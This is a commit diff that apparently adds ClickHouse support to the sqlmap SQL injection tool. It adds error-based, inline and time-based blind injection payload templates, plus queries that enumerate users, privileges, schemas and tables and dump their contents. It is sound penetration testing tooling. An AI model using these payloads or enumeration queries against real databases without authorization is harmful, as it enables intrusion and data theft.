Skip to content

Commit 8962e15

Browse files
authored
Add Clickhouse support (#5229)
Co-authored-by: pentest <>
1 parent c58383e commit 8962e15

File tree

19 files changed

+335
-9
lines changed

19 files changed

+335
-9
lines changed

data/xml/errors.xml

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -211,6 +211,10 @@
211211
<error regexp="Syntax error,[^\n]+assumed to mean"/>
212212
</dbms>
213213

214+
<dbms value="Clickhouse">
215+
<error regexp="DB::Exception: Syntax error:"/>
216+
</dbms>
217+
214218
<dbms value="CrateDB">
215219
<error regexp="io\.crate\.client\.jdbc"/>
216220
</dbms>

data/xml/payloads/error_based.xml

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -853,6 +853,26 @@
853853
</details>
854854
</test>
855855

856+
857+
<test>
858+
<title>Clickhouse AND error-based - Parameter replace</title>
859+
<stype>2</stype>
860+
<level>2</level>
861+
<risk>1</risk>
862+
<clause>1,2,3,9</clause>
863+
<where>1</where>
864+
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String)</vector>
865+
<request>
866+
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String)</payload>
867+
</request>
868+
<response>
869+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
870+
</response>
871+
<details>
872+
<dbms>Clickhouse</dbms>
873+
</details>
874+
</test>
875+
856876
<!--
857877
TODO: if possible, add payload for SQLite, Microsoft Access,
858878
and SAP MaxDB - no known techniques at this time

data/xml/payloads/inline_query.xml

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -133,5 +133,25 @@
133133
<dbms>Firebird</dbms>
134134
</details>
135135
</test>
136+
137+
<test>
138+
<title>Clickhouse inline queries</title>
139+
<stype>3</stype>
140+
<level>2</level>
141+
<risk>1</risk>
142+
<clause>1,2,3,8</clause>
143+
<where>3</where>
144+
<vector>(SELECT '[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]')</vector>
145+
<request>
146+
<payload>(SELECT '[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]')</payload>
147+
</request>
148+
<response>
149+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
150+
</response>
151+
<details>
152+
<dbms>Clickhouse</dbms>
153+
</details>
154+
</test>
155+
136156
<!-- End of inline queries tests -->
137157
</root>

data/xml/payloads/time_blind.xml

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1494,6 +1494,26 @@
14941494
</details>
14951495
</test>
14961496

1497+
1498+
<test>
1499+
<title>Clickhouse AND time-based blind (heavy query) - fuzzBits</title>
1500+
<stype>5</stype>
1501+
<level>3</level>
1502+
<risk>1</risk>
1503+
<clause>1,2,3</clause>
1504+
<where>1</where>
1505+
<vector>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))</vector>
1506+
<request>
1507+
<payload>OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))</payload>
1508+
</request>
1509+
<response>
1510+
<time>[DELAYED]</time>
1511+
</response>
1512+
<details>
1513+
<dbms>Clickhouse</dbms>
1514+
</details>
1515+
</test>
1516+
14971517
<!-- End of time-based boolean tests -->
14981518

14991519
<!-- Time-based boolean tests - Numerous clauses -->

data/xml/queries.xml

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1319,6 +1319,75 @@
13191319
</search_column>
13201320
</dbms>
13211321

1322+
<dbms value="Clickhouse">
1323+
<cast query="CAST(%s AS String)"/>
1324+
<length query="length(%s)"/>
1325+
<isnull query="ifNull(%s, '')"/>
1326+
<delimiter query="||"/>
1327+
<limit query="LIMIT %d OFFSET %d"/>
1328+
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
1329+
<limitgroupstart query="2"/>
1330+
<limitgroupstop query="1"/>
1331+
<limitstring query=" LIMIT "/>
1332+
<order query="ORDER BY %s ASC"/>
1333+
<count query="COUNT(%s)"/>
1334+
<comment query="--" query2="/*"/>
1335+
<substring query="substring(%s,%d,%d)"/>
1336+
<concatenate query="%s||%s"/>
1337+
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
1338+
<inference query="substring((%s),%d,1)>'%c'" />
1339+
<banner query="select version()"/>
1340+
<current_user query="currentUser()"/>
1341+
<current_db query="currentDatabase()"/>
1342+
<hostname query="hostName()"/>
1343+
<table_comment/>
1344+
<column_comment/>
1345+
<is_dba query="(SELECT access_type FROM system.grants WHERE user_name=currentUser())='ALL'"/>
1346+
<check_udf/>
1347+
<users>
1348+
<inband query="SELECT name FROM system.users"/>
1349+
<blind query="SELECT name FROM system.users LIMIT %d,1" count="SELECT COUNT(name) FROM system.users"/>
1350+
</users>
1351+
<passwords/>
1352+
<privileges>
1353+
<inband query="SELECT DISTINCT user_name,access_type FROM system.grants" condition="user_name"/>
1354+
<blind query="SELECT DISTINCT(access_type) FROM system.grants WHERE user_name='%s' ORDER BY access_type LIMIT %d,1" count="SELECT COUNT(DISTINCT(access_type)) FROM system.grants WHERE user_name='%s'"/>
1355+
</privileges>
1356+
<roles>
1357+
<inband query="SELECT DISTINCT user_name,role_name FROM system.role_grants" condition="user_name"/>
1358+
<blind query="SELECT DISTINCT(role_name) FROM system.role_grants WHERE user_name='%s' ORDER BY role_name LIMIT %d,1" count="SELECT COUNT(DISTINCT(role_name)) FROM system.role_grants WHERE user_name='%s'"/>
1359+
</roles>
1360+
<statements/>
1361+
<dbs>
1362+
<inband query="SELECT schema_name FROM information_schema.schemata"/>
1363+
<blind query="SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(schema_name) FROM information_schema.schemata"/>
1364+
</dbs>
1365+
<tables>
1366+
<inband query="SELECT table_schema,table_name FROM information_schema.tables" condition="table_schema"/>
1367+
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
1368+
</tables>
1369+
<columns>
1370+
<inband query="SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
1371+
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d,1" query2="SELECT column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
1372+
</columns>
1373+
<dump_table>
1374+
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
1375+
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1 " count="SELECT COUNT(*) FROM %s.%s"/>
1376+
</dump_table>
1377+
<search_table>
1378+
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
1379+
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
1380+
</search_table>
1381+
<search_column>
1382+
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
1383+
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
1384+
</search_column>
1385+
<search_db>
1386+
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
1387+
<blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
1388+
</search_db>
1389+
</dbms>
1390+
13221391
<dbms value="CrateDB">
13231392
<cast query="CAST(%s AS TEXT)"/>
13241393
<length query="CHAR_LENGTH((%s)::text)"/>

lib/controller/handler.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
from lib.core.settings import ACCESS_ALIASES
1515
from lib.core.settings import ALTIBASE_ALIASES
1616
from lib.core.settings import CACHE_ALIASES
17+
from lib.core.settings import CLICKHOUSE_ALIASES
1718
from lib.core.settings import CRATEDB_ALIASES
1819
from lib.core.settings import CUBRID_ALIASES
1920
from lib.core.settings import DB2_ALIASES
@@ -46,6 +47,8 @@
4647
from plugins.dbms.altibase import AltibaseMap
4748
from plugins.dbms.cache.connector import Connector as CacheConn
4849
from plugins.dbms.cache import CacheMap
50+
from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn
51+
from plugins.dbms.clickhouse import ClickhouseMap
4952
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
5053
from plugins.dbms.cratedb import CrateDBMap
5154
from plugins.dbms.cubrid.connector import Connector as CubridConn
@@ -122,6 +125,7 @@ def setHandler():
122125
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
123126
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
124127
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
128+
(DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn),
125129
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
126130
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
127131
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),

lib/core/dicts.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,7 @@
3838
from lib.core.settings import SYBASE_ALIASES
3939
from lib.core.settings import VERTICA_ALIASES
4040
from lib.core.settings import VIRTUOSO_ALIASES
41+
from lib.core.settings import CLICKHOUSE_ALIASES
4142

4243
FIREBIRD_TYPES = {
4344
261: "BLOB",
@@ -241,6 +242,7 @@
241242
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
242243
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
243244
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
245+
DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None),
244246
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"),
245247
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
246248
DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None),
@@ -286,6 +288,7 @@
286288
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
287289
DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))",
288290
DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
291+
DBMS.CLICKHOUSE: "coalesce(NULL)",
289292
}
290293

291294
SQL_STATEMENTS = {

lib/core/enums.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -52,6 +52,7 @@ class DBMS(object):
5252
PRESTO = "Presto"
5353
ALTIBASE = "Altibase"
5454
MIMERSQL = "MimerSQL"
55+
CLICKHOUSE = "Clickhouse"
5556
CRATEDB = "CrateDB"
5657
CUBRID = "Cubrid"
5758
CACHE = "InterSystems Cache"
@@ -81,6 +82,7 @@ class DBMS_DIRECTORY_NAME(object):
8182
PRESTO = "presto"
8283
ALTIBASE = "altibase"
8384
MIMERSQL = "mimersql"
85+
CLICKHOUSE = "clickhouse"
8486
CRATEDB = "cratedb"
8587
CUBRID = "cubrid"
8688
CACHE = "cache"

lib/core/settings.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -283,6 +283,7 @@
283283
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
284284
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
285285
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
286+
CLICKHOUSE_SYSTEM_DBS = ("information_schema", "system")
286287
CUBRID_SYSTEM_DBS = ("DBA",)
287288
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
288289
EXTREMEDB_SYSTEM_DBS = ("",)
@@ -313,6 +314,7 @@
313314
MIMERSQL_ALIASES = ("mimersql", "mimer")
314315
CRATEDB_ALIASES = ("cratedb", "crate")
315316
CUBRID_ALIASES = ("cubrid",)
317+
CLICKHOUSE_ALIASES = ("clickhouse",)
316318
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris")
317319
EXTREMEDB_ALIASES = ("extremedb", "extreme")
318320
FRONTBASE_ALIASES = ("frontbase",)
@@ -321,10 +323,10 @@
321323

322324
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
323325

324-
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES)
326+
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES)
325327
SUPPORTED_OS = ("linux", "windows")
326328

327-
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES))
329+
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES))
328330

329331
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
330332
REFERER_ALIASES = ("ref", "referer", "referrer")

lib/utils/deps.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,8 @@ def checkDependencies():
5858
__import__("mimerpy")
5959
elif dbmsName == DBMS.CUBRID:
6060
__import__("CUBRIDdb")
61+
elif dbmsName == DBMS.CLICKHOUSE:
62+
__import__("clickhouse_connect")
6163
except:
6264
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
6365
warnMsg += "in order to directly connect to the DBMS "

0 commit comments

Comments
 (0)